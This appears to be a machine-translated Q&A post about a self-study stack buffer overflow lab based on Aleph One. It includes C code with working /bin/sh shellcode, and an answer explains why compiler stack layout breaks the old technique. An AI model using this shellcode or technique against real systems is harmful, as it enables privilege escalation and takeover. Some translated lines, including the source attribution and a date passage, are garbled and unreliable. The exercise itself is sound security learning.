我一直在做缓冲区溢出测试,主要是我从Aleph One的github.com/trenoncourt
读取#include<string.h>
#include<stdio.h>
char shellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0
\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x8\x8d\x53\x0c\xcd\x80\xe8
\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x58\x58\x58\x58
\x59\x59\x59\x59";
char large_str[104]; /*length equals to buffer + i + ptr + return_address*/
int main(){
char buffer[56];/*same length as shellcode*/
int i;
long *ptr=(long*)large_str;
memset(&large_str,0,104); /*initialize large_str*/
for(i=0;i<24;i++)
*(ptr+i)=(int)buffer; /*overwrite return address*/
for(i=0;i<strlen(shellcode);i++)
large_str[i]=shellcode[i];
strcpy(buffer,large_str); /*doing overflow*/
return 0;
}
操作
$gcc -o overflow -fno-stack-protector overflow.c
$./overflow
segmentation fault (core dumped)
在此之前,我已经关闭了随机地址。 另外,我在程序中测试了我的shellcode:
int main(int argc, char **argv)
{
int (*func)();
func=(int(*)())code;
(int)(*func)();
}
它有效。所以我不知道我的缓冲区溢出代码有什么问题,是否有人有缓冲区溢出实验室的经验? 我用gdb调试,似乎我没有正确写入返回地址。
答案 0 :(得分:2)
您的代码会对buffer
之类的内容进行假设。
1996年的一系列编译器的有效期,从您的文章发布之日起,根本不再是真实的,<2016年<20> 。
这与堆栈保护或地址布局随机化无关。只是因为没有理由编译器应该在你的large_str
之后放置返回地址指针 - 编译器不是愚蠢的并且看到buffer
被分配了main
,无论如何,所以它只会挑选内存中看似方便的任何位置来存储buffer
。而且绝对没有理由认为这是
large_str
- 其他任何内容。那里定义了 nothing 。而且不应该。它是编译器的选择,坦率地说,它可能不会做出与你相同的选择。